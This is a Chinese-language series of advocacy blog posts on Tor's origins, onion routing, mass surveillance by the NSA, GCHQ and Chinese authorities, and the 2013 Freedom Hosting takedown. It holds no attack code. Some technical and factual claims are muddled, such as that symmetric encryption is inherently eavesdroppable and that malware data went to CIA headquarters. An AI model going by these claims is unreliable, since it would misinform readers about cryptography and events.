Tor 向其用户提供的加密匿名原理与 David Chaum 的混合网络学说原理相同。就如混合网络学说一样，Tor 无需防止任何人看到网络用户正在写什么或读什么，相反，它的目的是防止任何人知道是谁在读或写。比如一个中情局在伊朗的线人正在访问该局，并写了一条消息，监视该线人的政府没必要知道他究竟传递了什么信息：即使他共享的信息是加密的，只要知道他正在跟美国间谍通话，就足以导致该国的秘密警察上门处理他了。

中国的信息输出也一样道理，你可以加密信息本身，但当局并不需要知道你发送了什么，只要知道你正在向海外（尤其是中国当局视为“敌对”的国家情报部门、人权组织和独立**NGO**）发送信息，就完全可以根据无耻的“反间谍法”抓捕你。

新冷战趋势下，已经有越来越多的国家利用“反恐／反间谍法案”来实

现扼杀异议的目的，最为突出的就是大规模监控的合理化。它应该被反抗者警惕。

从技术上讲，Tor也面临着 Chaum 在1981年就专注于解决的问题：位置等于身份。如果监视者能定位你的计算机，他们就能知道你在哪儿生活和工作，接下来就能轻而易举地搞清楚你是谁。Tor要完成互联网这个重要任务：筹划出人们之间的联系以便信息可以尽快地双向交流，同时又不让系统中的任何人知道这两个终端的所在。

Tor是以一种功能性偏执的状态运行的，它假定没有任何一个节点是可信的，于是它的方案就是 —— 三重加密，没有任何一个节点可以计算出整个路径。每个节点解读这三层加密中的一层，就像每个信使从一颗洋葱头上剥掉一层不透明的表皮，才能找到写在下层表面上的新的联系地址。

由于Tor采用了独特的有针对性的公钥加密策略，只有逐层剥开洋葱皮才可以实现解密操作。所有信使都有剥开一层洋葱皮的密码，但他们只能打开针对自己的特定地址的那一层。所以在整个解码链条上你会看到，第一个节点可能会有一位伊朗人想访问某个网站，但其只能打开一层加密，并表明已经将剩余的洋葱传递到美国了。即使伊朗的秘密警察控制了这层信息的转接情况，他们也永远不会知道该数据会跳到悉尼、柏林，还是兰利。

没人能监视和跟踪—— **Tor** 的研究注定它不会成为权力的特供

Paul Syverson 是广为人知的“洋葱路由之父”，他最喜欢的是 Raymond Smullyan 的益智书。Smullyan 曾经在电视节目里讲过一个有趣的问题：假如你有三个不透明的硬币容器，一个里面全是5分硬币，一个里面全是10分硬币，还有一个两种硬币混装。三个容器都被贴错了标签。那么提问：你在每个容器里随机取出多少枚硬币才能准确的重新贴好标签？（答案是，在标有“混合”的容器里只取出一枚就可以了）这个问题看起来比较简单，但这些游戏的确给IQ维生的人们打开了很多思路，包括密码学者，关键就是对它们的拓展式使用。

人群中充斥着说谎的吸血鬼和说实话的人，以及以为自己是在说实话其实是撒谎的精神错乱者，还有以为自己是撒谎其实在说实话的精神错乱吸血鬼。Syverson 在1995年研究这一问题的时候，最好的的解决方案就是容忍成千上万不值得信任的人。

Syverson 最初创建混合网络系统时面临的最大挑战就是 Mixmaster 邮件匿名程序：聪明的间谍可以根据时序将进出网络的

信息关联匹配起来。当数据开始实时传输时，这种分析很容易实施，并且难以挫败。

Mixmaster 解决了这个问题。该程序会花费数小时或者数天的时间来收集个人信息，以便更好的掩盖时间。然而在网络上，用户甚至很难容忍几秒钟的延迟，因此这种做法必然会失败。

研究人员提出了一个不那么优雅的修正：网络那么大，数据会进出成千上万个节点，实时对每一次联系的头尾终端进行匹配分析犹如大海捞针。如果你的对手在某一个位置监视了通讯的两端，那么他就赢了。但如果对手看不到网络的终端，他甚至不知道从何找起。

扩大网络最实际的方法就是，邀请大家加入。海军研究实验室的团队设想了一个由不同人群的主机运行组成的志愿者网络，每台主机控制自己的一片混合中继节点。系统中任何用户都不信任任何节点。但每个用户都比较肯定，没有一台单一的主机可以监视整个网络并跟踪用户的路径。包括系统的创建者，海军研究室。

为了工作，这个志愿者群体不仅要大，还要具备多样化的特征。如果只有海军用 Tor 那么不用脑子也可以猜到节点是海军的一部分的结论。

于是，很多不可能成为“合作伙伴”的人群，均成为了匿名节点 —— 包括密码朋克（**cypherpunk**）。为了给Tor提供真正的匿名性，海军不得不放手予以自由，黑客、革命者、犯罪分子、联邦调查局探员，各路人马一起上。

于是，即使政府已经感觉到了其资助研发的这种屏蔽用户身份的软件是一种挑战权力的“危险武器”，他们也无法将其秘不示人了。

在密码朋克创立的早期，有一个混合网络系统如何运作的成形方案。但是要想以网络速度运行，Tor 也需要一种新的快速的方法去实现数据以网速通过三站回路传递。

Chaum 的公钥加密的本意是将节点间发送的数据打乱，这一过程会比实时传输耗时长上千倍。于是海军研究室提出了一种捷径：采用对称密钥加密远比1977年麻省理工学院的密码学家发明的公钥加密速度快，但对称密钥加密传送过程中的安全性比较低，并且有被窃听的风险。

在 Paul Syverson 的系统中，每个节点将使用慢但安全的公钥加密，

生成公共密钥和个人密钥，然后用户软件将随机选取遍布全球各地的节点中的三个公共密钥对第一个数据包进行三重加密。但是沿着这种三重弹跳路径发送的第一条消息并不是来自用户的真正通信，它将简单地获取老式对称密钥加密那样的另外三个密钥。只有当这些新的快速的个人密钥被安全地置于全球的那三个节点，安排好去往目的地的路径时，用户才开始发送包含有真实内容的资料包。这些信息被三层对称密钥加密所绑定，以超高的网速在那些中继节点被一个接一个地打开。

以公钥加密反复设置新的路径可以更安全地对抗监视。

洋葱的特点是，逐层剥开后你会发现，它除了皮什么都没有。它是一个精心包装的但没有任何信息的信封，关键的数据全在信封上。

真正的原创

十八年前，麻省理工学院有一位高材生：Roger Dingledine，他的硕士论文中展示了一种“数字自由度仿真”的发明。该项目被称为“自由港”。

“自由港”将以一种分散的、不受审查的系统形式发挥功能。Dingledine 以九十年代后期科索沃难民危机中被毁的财产记录为例。当时因塞尔维亚人的攻击而流离失所的科索沃人在重返家园时发现，已经没有任何证据能证明他们离开前各自所拥有的财产状况。Dingledine 说，即使有些人不想这些记录存在，但如果有“自由港”在，就可能保有这些数据的档案，同时更重要的是，这些数据不会受到政治、社会或封闭社团等势力的侵害。

Dingledine 的项目主要依赖于信息在许多匿名志愿出版者中的分配，并不断对提供数据的每个节点的可信度进行分级。看到了吧，这个项目基本就是 Tor 的核心思想。

麻省理工学院最著名的一点就是它的无政府主义精神，校内高级别墅间有块牌子，上面写着“**Sport Death** 运动死亡”。这个短语来自 Hunter S. Thompso 的一本书《Fear and Loathing on the Campaign Trail’ 72》，书中表达了一种不管在政治、娱乐、黑客活动中将生命推到极限的态度。

Dingledine 和他的合作者都认同“运动死亡”的反独裁政治理念，也就是我们曾经在以前的文章中所强调的：“密码朋克写程序”Cypherpunks write code —— 不要浪费你的时间和现实中的政客们

争论数字世界的规则了，创建我们自己的数字世界吧！有了它你就有了自己的规则。网络协议就是网络世界未公开的立法者，编码能改变世界。

> *“Moderation is a fatal thing. Nothing succeeds like excess.” – Oscar Wilde*

Tor 已经成为世界上规避审查最有效的工具之一。通过对数据的加密传输和从国外网站节点的间接路由，Tor 阻止了一些政府清除数字信息的渗透。和其他规避审查软件不同（比如 freegate, ultrasurf, hotspot, shield, psiphon ）Tor 不仅可以让用户访问被禁止的内容，而且还能阻止监控者跟踪人们的网上活动。

Tor 一直在和那些被砸脚的当权者进行着猫鼠游戏，这是一场科技界的军备竞赛。

Tor 手里有两张王牌，一是其计划建立一种 Tor 的家用无线网络路由器，每个路由器不到$100，默认运行Tor，自动将所有用户流量推进这个匿名网络中。作为回报，它将成为 Tor 的一个中继纽带节点；二是，遍布全球的开发者组成了一支小型军队，Wikileaks 的合伙人 Jacob Appelbaum 就是其中之一，他是 Tor 的主要程序员和国际布道者这一。

Appelbaum 走遍了巴西、土耳其、波兰、德国、英国、美国，也来到了中国，开办讲座，协手志同道合的人黑客运行 Tor 的节点，号召志愿者成立组织，分发 Tor 的拷贝和中继节点地址。

的确曾经有人怀疑政府资助会使 Tor 的奋斗目标大打折扣，但 Appelbaum 能解释清楚，Tor 早已开始拒绝联邦政府的订单。他指责资本主义是一种“暴力系统”，军方工作人员是发战争财的人。

> 用强大的密码学对抗权力和暴力将力量平衡从那些垄断暴力的人手中抢回来，给那些理解数学和安全性设计的人 —— 密码朋克邮件列表

形势所迫，**Tor** 愈发成为无价之宝

#deleteFacebook 运动在此前的两周内一直是社交媒体的热门，很多人已经下载数据并删除了应用。不过如果你用 **Tor** 打开亚马逊、**Facebook**、**twitter** 这类网站运营商是无法识别你的身份信息的 —— 电脑的**IP**地址（也就是指纹）无法被重组。没有 **Tor** 的话，任何网上

行为都会留下指纹。请关注我们的具体解释《使用 **Tor** 保护自己时千万不要做这九件事》

如果 Facebook 等监视巨魔无法追踪用户行为，他们也就没有机会继续出售从用户那里收集来的信息。

“监视资本主义”早已成型，整个行业比你想象的更毛骨悚然。美国销售用户数据的企业有 2500 到 4000 家，大部分公司的名字你可能听都没有听说过。他们在你我不知情或同意的情况下将数据出售给愿意付费的任何人。

Facebook 和 Google 以提供免费服务的形式来换取你的数据。Google 对你的监视可能更深入和私密，因为我们不会对搜索引擎说谎。Google 收集和保存了我们所有兴趣和好奇、希望和恐惧，以及欲望和性倾向。

智能手机可能是至今发明的最私密的监控设备。它持续跟踪我们的位置，它知道我们居住在什么地方，在何处工作，在何地消遣。我们每天都会不断的检查手机，它知道我们什么时候醒来什么时候睡觉，因为人人都有手机，因此它还能知道我们和谁一起睡觉……

这些科技巨头的收集就等于政府收集。斯诺登的文件中最著名的几个之一就是：国安局与世界上最大的互联网公司——**Facebook,Yahoo,Apple,Google** 等签订的秘密协议，国安局可以从**9**大互联网公司的服务器上直接收集数据。其中与之合作最密切的是微软，国安局直接可以进入其通讯平台**Skype**和**Outlook**。

这说的还是针对性的搜索，联邦调查局还有一种行为叫“无关事由搜索”，也就是说，收集和分析数据的行为不需要具体的作案嫌疑或犯罪嫌疑。就像大街上的巡警警察随意拦截任何一辆车检查驾照和测试酒驾一样，没有任何理由，车主完全无法抱怨。

你可以把Facebook这些网站想像成菜市场，城管没事儿就跟这溜达，他们可以平白无故找茬，这就是“无事由”。

日前斯诺登曝光的文件显示，国安局正努力“追查”比特币用户。这些文件表明，“追踪”比特币用户远远超出对比特币的公共交易分类账（称为区块链）的审查，用户通常通过匿名标识符引用该区块链; 跟踪也可能涉及收集这些用户计算机的私密细节！

国家安全局收集了一些比特币用户的密码信息，互联网活动以及一种

称为MAC地址的独特设备识别码，2013年3月29日国家安全局提出的备忘录。在同一份文件中，分析师还讨论了追踪互联网用户的互联网地址，网络端口和时间戳，以确定“**BITCOIN**目标”。

该机构似乎想要更多的数据：3月29日的备忘录提出了数据源是否验证其用户的问题，并建议该机构在名为“Provider user full.csv”的文件中保留比特币信息。它还建议针对比特币目标的强大搜索能力，暗示**NSA**可能一直在使用其**XKeyScore**搜索系统，其中比特币信息和其他各种**NSA**数据已编入目录，以增强其比特币用户的信息。

国家安全局的参考文件指出，数据来源提供了“用户数据，如账单信息和互联网协议地址”。有了这种信息，给给定的比特币用户一个名字就很容易了……

去年，中国当局告诉中国穆斯林居民安装 JingWang，这是一款扫描某些文件的应用程序。现在研究人员已经发现它在不加密的情况下传输收集到的数据。这个应用程序是中国当局对人民进行监视和压迫的进一步举措。

该应用程序是被政府强迫下载的，去年当局通过微信向维人发送了一个QR码，要求扫描下载JingWang应用程序。 **JingWang**通过比较手机内容和**MD5**哈希列表，扫描设备上存储的特定文件，包括**HTML**，文本和图像。目前还不知道**JingWang**正在扫描哪些具体文件。但**OTF**的公共博客文章显示，包括哈希列表，或文件指纹。该应用程序还有一个截图功能来捕获发现文件列表的图像。

OTF的报告称，**JingWang** 还会发送设备的电话号码，设备型号，**MAC**地址，唯一的**IMEI**号码和外部存储器中发现的任何文件的元数据，这些文件对于远程服务器而言是非常危险的。

我们需要更多具体资料曝光以指证当局的监控行为，虽然任何一个有点常识的人都能推测出其状况是有多么的不堪。中国政府模仿到了华盛顿几乎所有最糟糕的特征，从大规模监控到暗箱操作，从地缘政治为纲到高举所谓的“国家安全”，从嘻哈式景观政治宣传到物质资本主义……并把它们发挥到了极致。

事实早已显示，当权者更倾向于利用技术来对付老百姓，然而老百姓却普遍不懂技术、不重视技术，这只能意味着，必输无疑。

唯一的关键是，中国人究竟想不想保护自己？想不想摆脱天罗地网？因为摆脱是可行的，只有摆脱的意愿才能促成我们在这里的对话，如

果您主动放弃人权，那的确没什么可说了。

—— 未完待续 ——

原文

是时候品尝洋葱了 - iYouPort

洋葱头的斗争（完成）

我们曾经介绍过很多关于 Tor 的历史、发展、使用技巧等等知识，一直有用户称“用起来麻烦”。但现在不一样了，Tor 已经非常简单易用，完全不需要你拥有专业技能，也能获得与工程师一样的安全保护。

实际上，Tor 已经相对容易使用多年了，很大程度上是因为 Tor 浏览器的工作方式几乎与常规浏览器一样，并且在后台为您完成所有复杂的工作。尤其是，在2018年，大量的新产品和集成的出现，大大扩展了可用的工具，使得 2019 年你不得不尝试 Tor。您甚至可能在没有意识到的情况下已经进入了 Tor 网。

对于不熟悉的人来说，Tor 的主要好处是：它会加密您的流量并通过一系列计算机反弹，这使得任何人都很难跟踪它的来源。您可以看到，当您从事与政治有关的组织工作时，能够轻松访问这样的匿名服务是非常重要的。

今年，随着 Android 的 Tor 浏览器的推出，在 Android 上使用变得以往任何时候都更容易。该平台于9月首次亮相，目前仍在测试中，但现在已经接近其最终的稳定版本。您可以在 Google Play 上或直接从 Tor Project 下载。还有一些适用于 iOS 的 Tor 选项，包括名为 Onion Browser 的应用程序。随着越来越多的浏览转向智能手机，能够在移动设备上访问 Tor 已经越来越重要。

台式机上的 Tor 也有了新的选择。以隐私为中心的浏览器 Brave 在6月份添加了 Tor 路由选项作为其选项卡的功能。在 Brave 中，您只需导航到“文件”菜单并选择“带 Tor 的新私人选项卡”，以添加保护。

Brave 的集成选项很方便。Tor 项目的 Bagueros 表示，到目前为止，Brave 已经表现出坚定的承诺，Tor 的实施变得越来越安全。虽然人们可以使用官方 Tor 浏览器来获得最大程度的保护—甚至 Brave 本身也建议“对于需要更充分保护隐私的用户来说，我们不想成为唯一的浏览器，”她说。“如果有2万个浏览器做同样的事我们绝不会介意。

我们认为这很棒。”

内容交付网络和互联网基础设施提供商 Cloudflare 在9月推出了洋葱服务，可以更轻松地访问 Tor 上最安全的客户端版本。通过其新设置，Cloudflare 有助于扩展对用户匿名性的保护，而无需了解任何人的身份，即使是在自己的服务上也是如此。“其他平台可以支持这一点，以便为用户提供更高级别的安全性。” Cloudflare 的 Tor 集成还可以更准确地将合法的 Tor 流量与恶意活动分开，方法是让黑客在不破坏合法用户匿名保护的情况下发起攻击的成本更高。

Tor 作为整个互联网基础的愿景仍然可能还有很长的路要走，如果它能够发生的话。但是，访问 Tor 网络并更容易使用它的选项正在迅速扩大。你是时候尝试它了。

详见我们曾经的介绍：

- 《当搬石头砸脚遇到“运动死亡”—— 洋葱头会让谁流泪？（一）》
- 《追求正义的人应该加强反侦技巧!—— 洋葱头会让谁流泪（二）》
- 《真的安全吗？那么他们是怎么抓人的？—— 洋葱头会让谁流泪（三）》
- 《请关上身后的门，除非你想把刀递给敌人—— 洋葱头会让谁流泪（四）》
- 《使用 Tor 保护自己时千万不要做这九件事！》

In 2018 a slew of new offerings and integrations vastly expanded the available tools, making 2019 the year to finally try Tor. You may even end up using the network without realizing it.

原文

真的安全吗？那么他们是怎么抓人的？——洋葱头会让谁流泪（三） - iyouport

洋葱头的斗争（完成）

【2018年5月3日存档】能读取信息的人，同样也能写信息！正因为这样，监控构成对民主的最基本威胁。当权者会利用在网上推送邮件、图片和视频，有目的地进行个人诽谤。

简单的加密已经不够了。2016年，美国宾夕法尼亚大学和法国洛林大学的研究人员发表了一篇论文，报告了一种通过植入“陷阱门素数”被动解密加密通信的方法。

这项技术引人注目之处在于他们是向 Diffie-Hellman 密钥交换协议使用的1024位密钥中植入陷阱门。

陷阱门是加密学中的后门，构建陷阱门可以让因式分解变得更简单。**NSA**或类似机构如果能让主流加密规格采用一个或多个陷阱门素数，那么它们就能够轻松的监视数以百万计的加密通信。

Edward Snowden 泄漏的文件曾披露 **NSA** 能够大规模的监听加密通信。

NIST早在2010年就推荐将密钥长度从1024位增加到2048位，但1024位密钥仍然被广泛使用，调查发现，**Top 200,000 HTTPS** 网站中有**22%**使用**1024**位密钥去执行密钥交换。Java 8 不支持长度超过1024位的密钥……

近期的消息显示，又一项参议院法案即将到来，旨在管理私人设备中的加密功能。也就是将监听加密的行为合法化、便捷化。参议院司法委员会的官员近几个月来一直在与美国大型科技公司的代表进行对话，以征询未来可能立法的反馈意见。

据称这一过程是特朗普政府内部解决所谓的“黑暗”问题的更大推动

力。“黑暗”是指执法机构无法绕过的设备加密（当权者想看到一切，只要看不到的地方都被称为“黑暗”）。EFF 和隐私倡导团体批评官员绕过加密的努力：

> 加密没有什么“解决方案”，不应该削弱设备的安全性。

纽约时报最近报道说，联邦调查局官员一直在与学术界专家讨论技术选择，这可能会说服美国科技公司为执法机构获取客户数据创建秘密数字渠道！

这件事是近期隐私安全/密码学界关注的重点。

情报部门为偷窥创造了一个可笑的新词，叫“安全加密”，指的就是能让这些情报机构顺利进出 随便溜达，并且用户还以为自己在使用“加密”。这是在羞辱技术，藐视隐私权。

从加密技术出现至今，这场战争一直在持续，甚至不可能停止。

尽可能说句公道话

可以说 Tor 网最充分地反映了数据保护者和安全局之间的斗争。随着不明就里的媒体宣传、情报部门的抹黑、和技术门外汉们的紧张，争议已经变得越来越强烈。

一方面匿名性可用于掩饰犯罪行为，这是侦查机构面对的难题；另方面，保持匿名是基本公民权利，不容侵犯。（我很奇怪为什么很多中国人对实名制尤其崇拜，如果你曾经加入过一些中文社交网络群组就一定能碰到这种情况，群创建者要求“所有人实名标注群名片”，违者会被驱逐。完全无视基本人权。甚至可以说，把暴露隐私当成了“人权”，真是太惊人了）

Tor 就像 Robin Hood 小说“Sherwood Forest”那样，这里面藏着罪犯、自由捍卫者、反抗勇士、间谍和追求正义的人。现在的问题是：假设这里藏满了罪犯，而其中一个人会对社会作出非常积极的贡献，那么如果你推到整片森林 — 杀死所有人，要付出什么代价？

更不用说，Tor 有自己的专业技术管理员，他们会负责关照“丝绸之路”、儿童色情等犯罪行为，服务器并不愿意为这些人提供庇护。在很多大型案件的侦查工作上都可能与 Tor 服务方建立合作。(这里是 Tor 的行为守则)

再换个角度想想看，很多支持禁止 Tor 网的人认为“可怕的内容”貌似就出自匿名网络。但要知道，那些视频并不是互联网制造的， 而是在现实世界中某个角落拍摄的，真正应该遏制的是这些拍摄地点吧。

但是执法者可不满足于 **Tor** 的正义感

2011年，Anonymous 发起了Operation Darknet行动，一项针对暗网的反儿童色情活动。由Freedom Hosting 托管的 LolitaCity 其中一个最大的网站被拒绝服务攻击（DDoS）。后来在SQL注入攻击后泄露了其成员列表，就像链接到它的The Hidden Wiki一样。

新闻报道将当时一个Firefox浏览器漏洞与美国联邦调查局（FBI）针对 Freedom Hosting 的所有者 Eric Eoin Marques 的行动联系起来。2013年8月，人们发现许多旧版本的Tor Browser Bundle 中的Firefox浏览器容易受到 JavaScript 攻击，因为默认情况下 NoScript 未启用。

这种攻击被利用来将用户的 MAC 和 IP 地址以及 Windows 计算机名称发送给攻击者。联邦调查局在**2013**年**9**月**12**日都柏林法庭上表示对这起袭击事件负责。

Snowden 泄露的培训演示进一步表明，该漏洞的代号是 **EgotisticalGiraffe**（这里的超链接指向原文件在线版）

今天看来这些已不再是新鲜事。监视者的技术一直在上升，Tor 的更新技术正在努力跟上这一速度。但正是这件事的影响之深远，引发了很多非技术用户对 Tor 本身的疑惑。

Tor 真的安全吗？那么情报机构是怎么抓人的？

> *“这一次调查过程中，国外同事成功进入 Tor 网，并侦查破获与今为止全球最大的团伙，涉及 25万恋童癖者及200万张儿童色情图片……联邦事警察局发现，网上儿童色情提供者利用 Tor 技术隐藏身份……”* —— *Jörg Ziercke*（德国联邦刑事警察局局长）

好吧，大家都知道这是宣传，但听起来还是很可怕对吧？那就详细说说这件事。

Tor 网最大的匿名托管服务器 Freedom Hosing 被FBI控制、以及公司创始人 Eric Eoin Marques 被捕的消息在媒体中病毒式传播：这是

在“丝绸之路”前，对隐藏服务不可攻击神话的第一击。

德联邦刑事警察局和FBI联手，据说还有其他美国情报机构，一起致力于打击 Tor 的托管服务器。尽管 Marques 声称一直以来只是为所有人提供储存空间，无须对内容做审查。

显然 Marques 认为暗网非常安全万无一失。隐藏服务至今都被视为不可触及，并能有效地保护服务器位置。Marques 在这里创建并运营着他的数字帝国，躲开了情报机构的天眼，直到黑客组织“匿名者”出现。

Anonymous 攻击了视频服务器 ——在僵尸网络中同时关闭了许多台向服务器发送请求的计算机，直到服务器负载不再可用。此次行动是向 Marques 发出警告：我们要把你赶出这里！

在 Tor 页面上，用户捍卫隐藏服务，他们指出：从原则上讲，技术本身是中立的，人们既不与 **Marques** 及其服务器产生任何关联，也不支持其从事的交易。Andrew Lewman 是 Tor 开发者团队的前核心领导人，他说，“我们与刑事侦查机构合作，是因为我们不想看到 Freedom Hosting 这样的服务器……我们有意愿和官方机构对话，向机构解释我们所做的，以及为什么要这样做，避免官方机构带着特警队去拜访中继服务器的运营者”。

被匿名者攻击后，Freedom Hosting 暂时下线，但同时它经由 **Java-Skript** 向所有想获得资料而点击网页的人传送恶意软件。该软件自动安装在浏览者的电脑中，自动收集**IP**信息和位置，最后将其发送到位于兰利的服务器——中情局总部。

他们利用就是“零日漏洞 Zero-Day_Exploit”。这里指向更多详细介绍。

这还不是全部，一切取决于刑事侦查员的创造力。他们一直在绞尽脑汁研究这些玩意，其中主打的“绝招”之一就是**“蜜罐 Honeypots”**系统。有各种不同的蜜罐系统，可不完全是打击犯罪用的。电信局也会用蜜罐，查找谁在攻击网络，把握整体形势。

蜜罐是在 Java 中加入破坏脚本，并立刻在 Tor 主页上出现安全警告。同时，不同的计算机和技术媒介会报告，网络有安全漏洞，因此网络不再是不受破坏的。

可以想像，这样的情况会像流言一样传播开来，因为每当网络有一个

小漏洞时都会引发更多的猜想，人们会怀疑存在各种安全漏洞。

但对Tor来说漏洞不是问题，他们会很快修补，没有哪个软件比Tor的更新频率更高了吧。

毫无疑问情报机构也用蜜罐系统。就像 Glenn 最初想用 Snowden 的文件时所证明的那样，国家安全局和英国情报机构政府通信总部（GCHO）不仅监控互联网，他们还参与网上活动。

能读取信息的人，同样也能写信息！正因为这样，监控构成对民主的最基本威胁。当权者会利用在网上推送邮件、图片和视频，有目的地进行个人诽谤。

某情报机构内部展示的报告中，有**10**页详细介绍了如何利用伪装或蜜罐系统。**Glenn** 主编的独立媒体 **The Intercept** 专门介绍了这些监控者有目的地篡改博客评论、或者**Facebook**消息，就是抹黑，为了将目标人物“排除出组织”。

这些信息出现在展示给“Five Eyes”五眼情报联盟的幻灯片中。该文件称，“蜜罐是一个极佳的选择和方法”、“它是一个伟大的系统”……

不管你对**Anonymous**、“黑客行为主义者”还是其他人持什么样的看法，你都无法否认，秘密的政府机构能够瞄准任何他们想要的个人，这种事是多么的危险——这些监视者从来没有被指控过，更不用说被定罪了 —— 他们都采用了这种基于欺诈的在线诱捕手段来污蔑和破坏声誉。

以下图片来自 The Intercept：并推荐这篇 JTRIG 文件：“The Art of Deception: Training for Online Covert Operations.”这是一个52页的文件，尤其是中国异议，应该学习下这些经验和教训。

肮脏的手段

蜜罐攻击针对的不仅是政治、人权和社会活动家、或者当局的任何一种眼中钉，还包括公司：这些公司会被“通过有针对性的攻击搞垮”——“通过终止正在进行的或已达成的交易”——这是英国情报机构政府通信总部在其报告中介绍的。

此外这种手段还会假装记者的头像和邮箱，利用他们的可信身份与其现有的好友和粉丝联系。有目的地影响政治性网页和网上舆论，通过主动参与 —— 而从不暴露这一切行为背后操纵者的身份！

通过连接互联网核心的光纤电缆，英国情报机构政府通信总部成功对Wikileaks 用户的IP地址进行了实时监控。情报机构将监控系统命名为 ANRUCRISIS GIRL。美国军队在2008年宣布“Wikileaks 是美国人民的敌人”——完全无视众多美国人民在支持独立媒体 Wikileaks 的出版，和中国政府的全面代表人民没有本质区别了。更为可怕的是，美国情报机构直接截屏并展示了他们是如何追踪全球范围内登录 **Wikileaks** 网页的人的**IP**，这就是他们说的所谓“摧毁网页背后的用户网络”。

需要警惕的是，从**Tor**网用户以及**Tor**的公共表现来看，监控系统的持续有效性已经不容否定。尽管长久以来大部分安全漏洞都被排除，而像匿名者的攻击行为仍然会被再次利用。对于依赖网络匿名性的用户来说，每一次对 Tor 的攻击都是敏感的，这在于事件的自然属性。

但恶化的结果是，互联网很多用户开始趋向妥协、放弃和恐惧。而这恰恰是监控者最期待的结果 —— 和恐怖主义行为的逻辑一样，其目的并不是袭击本身，而是通过袭击扩散并加深恐惧感，直至所有人的心理被袭击者控制住。

污蔑从未停止，反抗也是

Freedom Hosting 的遭遇和“丝绸之路”网站的遭遇让一些人开始沮丧，进而怀疑技术本身。非法卖家陆续离开深网，而持不同政见者和反对派有联络人，他们与Tor出口节点运营商保持联系，运营商会告诉你不要相信报纸上的东西，技术是安全的，新闻是当权者的宣传战术。

更有很多人开始就此污蔑匿名技术，尤其是那些被审查者洗脑的人，他们和审查者说着同样的话，认为“匿名是违法的来源”。这是胡扯。

互联网给予每个人同样的规则和空间，我们都在这个空间内活动，做为数字通讯的参与者。这些规矩中自然也包括掩饰身份的途径和方法，如Tor或VPN。但并不是每个利用这些方法掩盖身份的人都会做坏事。

使用Tor的用户中也有很多在各自国家中不能登录真正的互联网、或不能自由发表观点的人，有了Tor网他们就不会再受到压制。如果他们被当权者追踪到，很有可能被捕甚至面临死亡危险。

很明显的一点是，虽然虚拟犯罪在数量上远不及传统犯罪，但它有极强的政治轰动性，因为无论是普通网民还是事件受害者，都不知道该

如何有效地保护自己不受网络攻击。大多数人对此表现虚弱无力。

就像你一般会想，在自动提款机前要各种小心，输入密码时要用手挡住键盘，不过多年前就有了一种针孔摄像机，可以安装在密码键盘下方进行拍摄，对于这样的手段，银行终端机的键盘罩和防窥膜是起不到任何保护作用的……人们面对网络攻击时的心情也差不多。不过还是有很多小的举措能发挥真正的保护作用，比如谨慎浏览、不要轻易泄漏个人信息、花点时间仔细看看应用的隐私条款等等。（这个超链接指向针对隐私条款的具体分析）

我们需要匿名，只有真正的匿名才能摆脱国家肆无忌惮的监控，才能保护言论自由。这种追求本身就是对人权的捍卫，不容置疑。从政治角度上讲，全部领域都需要像**Tor**这样的匿名服务器。

任何事情都不可能只有优点或只有缺点，就像很多人现在一提Tor就只会想到暗网，一说暗网就只能想到犯罪，这是非常偏执的。Tor 网的薄弱之处在于公共设施，如果对每一个用户都开放使用，那么就可能会遇到恶意的用户，或滥用匿名权做非法的事，或是出于破坏匿名服务的目的。这是对Tor的“一个挑战”，不是对你的。

在德国，储备信息存储遵循明确的规定和严格的控制，与美国国安局之所为完全没有可比性，刑事侦查机构绝不会肆意收集信息和监控公民。Snowden 之后被讨论最多的就是那些做得太过分的情报机构，还有一些私营公司。

对 **Tor** 的争议终究是一个政治问题：自由和安全权利的界限在哪儿？—— 做为公民你我应该享有自由，这种追求是正确且合理的，就像在现实生活中谁也不想把身份证挂在脖子上让所有人围观。

并且，完全匿名操作本身的难度已经自动控制了犯罪人数，很多罪犯缺乏技术能力和知识，再加上必然受限的网速也会让一些犯罪分子失去兴趣。

人们不该对Tor存在偏见，即便没有Tor，犯罪依然会存在，网络犯罪分子也依然会行动。但另一方面，加密和匿名性也的确帮助掩饰了痕迹。但你不能说犯罪者会首选匿名技术，并在匿名网络中找到安全港。

—— 未完待续 ——

原文

让没有技术的人也能使用技术保护自己 - iYouPort

洋葱头的斗争（完成）自我保护措施-技术技巧以防身

可用性是指确保任何人，无论他们的技术背景如何，都可以使用的工具。随着科技行业的发展，可用性和用户体验（UX）工作在过去十年中变得非常重要。

为了改善用户体验，大多数技术行业依赖于分析用户的行为数据来推动决策制定。收集这些数据的机制通常是侵入性的，并且在未经用户同意的情况下进行，用户可能永远不会被告知他们的行为正在被分析用于此目的。用于收集行为数据的相同手段也有助于监视经济。

Tor 以不同的方式做事。拒绝收集此类侵入性数据。其可用性方法建立在尊重和保护用户隐私的基础之上。

今年，Tor 专注于在全球南方社区建立联系，在印度、乌干达、哥伦比亚和肯尼亚会见了 Tor 用户。这种联系让 Tor 能够亲自进行可用性测试，因此可以直接看到如何更好的在不同环境中为不同技术理解水平的人提供服务。了解用户的实际情况有助于了解他们的背景，理解他们，并考虑满足他们需求的解决方案。

其中有 93% 的人表示自己需要在线保护，但缺乏对如何应对威胁的知识。

除了基础设施方面的挑战之外，还有另外的威胁—— 包括当地警察劫持电子设备，或当前的执政党，迫使记者解密其信息来源—— 在大多数社区中都很常见。

通过这些可用性测试，Tor 可以覆盖那些在极端条件下使用技术的人，包括糟糕的基础设施，昂贵的数据包或旧硬件，并了解如何更好地构建满足其需求的工具。

如果能够让技术产品服务于没有技术知识的人，那么所有用户都可以从中受益，这就是技术人士正在努力的目标。

- 延伸阅读：《使用 Tor 保护自己时千万不要做这九件事！》

Strength in Numbers: Usable Tools Don’t Need To Be Invasive. Tor does things differently. We refuse to collect this type of invasive data. Our approach to usability is built on respecting and safeguarding the privacy of our users. We test our hypotheses and make observations in the safest way possible; in most cases, we do this work in-person with our users, not by collecting data about their behavior.

原文

请关上身后的门，除非你想把刀递给敌人——洋葱头会让谁流泪（四） - iyouport

洋葱头的斗争（完成）

【2018年5月3日存档】人们喜欢社交媒体，却要面对无耻的数据收集，这些都需要公民自己来决定，不能把决定权交给政府、情报部门或硅谷巨头，这些家伙只能决定我们将面临哪些限制。

很多人已经开始给电子邮件加密，这很好，但需要知道，你加密的只是内容，其他东西还是会暴露，比如谁在与谁联系，以及从哪里发出来的信息等等太多数据。

对每一个政治积极人士来说，**Tor** 都是非常重要的，不论你采取什么样的政治立场（我想说的是，希望通过自我审查讨好当权者而摆脱被监控的焦虑的想法，是非常可笑的）。比如有人参与了一场辩论，肯定有不同的人希望知道辩论中持对立立场的双方到底是谁，这个时候不让其他人知道你访问了哪些网页就是非常必要的。你永远不可能知道想了解你的人的目的是什么。

